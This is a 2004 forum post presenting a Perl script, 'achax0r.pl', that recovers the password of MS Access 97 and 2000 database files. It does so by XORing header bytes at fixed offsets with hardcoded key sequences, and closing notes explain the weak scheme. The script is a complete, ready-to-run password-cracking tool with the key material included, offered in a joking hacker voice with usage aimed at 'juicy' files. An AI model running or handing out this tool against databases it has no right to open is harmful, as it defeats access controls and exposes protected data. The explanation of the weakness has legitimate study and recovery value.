The key is different, bu the procedure for recovering it was the same,
eg rip from an unpassworded mdb file.
Theres a lil gotcha in there somewhere though, as if you *change* the
password string, access rumbles you.
Anyway, heres some really nasty code '-)
#!/usr/bin/perl -w
# achax0r.pl - version 0.3 (2k pwd was longer thn I thought)
# hax0r MS Access 97/2k password
# lensman 2004
# information *doesn't* want to be free, but tough titty.
# supplied on a "works for me" basis, if it doesn't work for
# you, hax0r it! (hint, version checking fucking sux0rs)
# NB that perl seems to like you to use "/" as a dir
# seperator even on win32 platforms
# usage achax0r.pl /sekrets/juicy.mdb
# (theres some notes at the end)
# In memoria, MJT, you would have liked this '-)
use strict; # matr0n, the restraints!
my $DB = open_file(); # ooo, lazy '-)
my $VER = get_version($DB); # what version (nasty) ?
my @CIPHER = get_ciphertext($DB,$VER); # read the cipher
my @KEY = keygen($VER); # get the key
my $PASS = decrypt(\@CIPHER, \@KEY); # do the business
print "hax0red : $PASS, may the force be with you '-)\n";
# thats it, nice and easy
# now the gory details '-)
sub decrypt{
# compute the the password
# (NB these *shd* be the same size, or we are broken,
# notice how I am not checking this)
my ($cipher, $key) = @_;
my $plain = '';
# simply XOR the two together
for(my $i=0; $i <= (@$cipher-1); $i++){
$plain .= chr( $key->[$i] ^ ord($cipher->[$i]) );
}
return $plain;
}
sub get_version{
# read a version strng from file, for < 2k, this will
# be blank, and frankly, there has to be a much better
# way, but I'm to tired to look. "Works for me", good enough!
my ($DB) = @_;
seek($DB,156,0);
read($DB, my $ver, 3);
if($ver eq (chr(0) x 3)){ # ouch ! :-( (needs work)
$ver = '97';
}
print "v $ver: \n";
return $ver;
}
sub get_ciphertext{
# get the string that will contain the
# encrypted password (newer vers might cause rework here)
# (this sub does to much)
# NB that we dont always nead 27 bytes, but will
# read them anyway, Johnny 5 need input '-)
my ($DB, $ver) = @_;
seek($DB, 66, 0); # seek position in file
read($DB, my $buf, 27+12); # read 27 bytes (+12 for
# longer 2k pwd, doh!)
my @list = split(//, $buf);
my @cipher;
# for ac2k we only want every other char
# as it uses the same trick but interleaves the data
if($ver eq '4.0'){
for(my $i=0; $i <= $#list; $i++){
if($i % 2 == 0){
push @cipher, $list[$i];
}
}
}
if($ver eq '97' ){
@cipher = @list[0..12]; # discard extraneous chars
}
close $DB; # we're done with this
return @cipher; # bring it on
}
sub open_file{
open(my $DB, $ARGV[0]);
binmode $DB; # needed on win32
return $DB;
}
sub keygen{
# return the desired key
my $ver = $_[0];
# Access 2k password encryption key
if($ver eq '4.0'){
return (0xE1,0xEC,0x3A,0x9C,0xA1,0x28,
0x74,0x8A,0x33,0x7B,0x92,0xDF,0x10,0x13,
0xA8,0xB1,0x53,0x79,0xF5,0x7C # new
);
}
# Access 97 password encyption key
if($ver eq '97' ){
return (0x86,0xFB,0xEC,0x37,0x5D,0x44,
0x9C,0xFA,0xC6,0x5E,0x28,0xE6,0x13);
}
# if we are here, we are confused
# (this check should really be somewhere else)
die "don't know newfangled version $ver key, pshaw!\n";
}
# NOTES on hax0ring access pwords, bwahahah
# 1) Why ?
#
# Good point, there are lots of reasons why you wouldn't need to
# but sometimes, you just might want to, I know its happened to me
#
# Also, it was fun !
#
#
#
# 2) How ?
#
# MS access uses a funny encryption scheme for the database password
# Rather than store a hash, as you would expect (even though it is
# still vulnerable to those with write perms on the file, it would
# have been more sensible, since the hash can not reveal the password,
# you can hax0r in the hash of a password you know, and then put the
# old one back in, but this is tricky and can bork real bad if you
# make a mistake)
#
# Anyway, access 97 takes the first 13 chars of the password you
# enter, and XORs their ascii values against a 13 byte sequence in the
# database header.
#
# This then, is effectively the key, so if we steal it out of an
# unpassworded database, we can then use it to compute the password
# for any database, since all we do is XOR the key against whats
# stored in the database.
#
# Seems a bit weird to me, but then I don't work for Microsft
#
# Anyway, thats pretty much how it works, access 2k makes the usual
# redmondesque attempt at defeating old MS hacks (and lets face it
# if you have $20 you can go online and buy ware like this), by using
# exactly the same technique, but spreading its bytes out, so that
# there are one byte gaps between them, this means that for ac2k we
# have to read more chars and discard the ones we dont want,
# but the result is the same, a string of bytes which we XOR with our
# hax0red key material to reveal the password.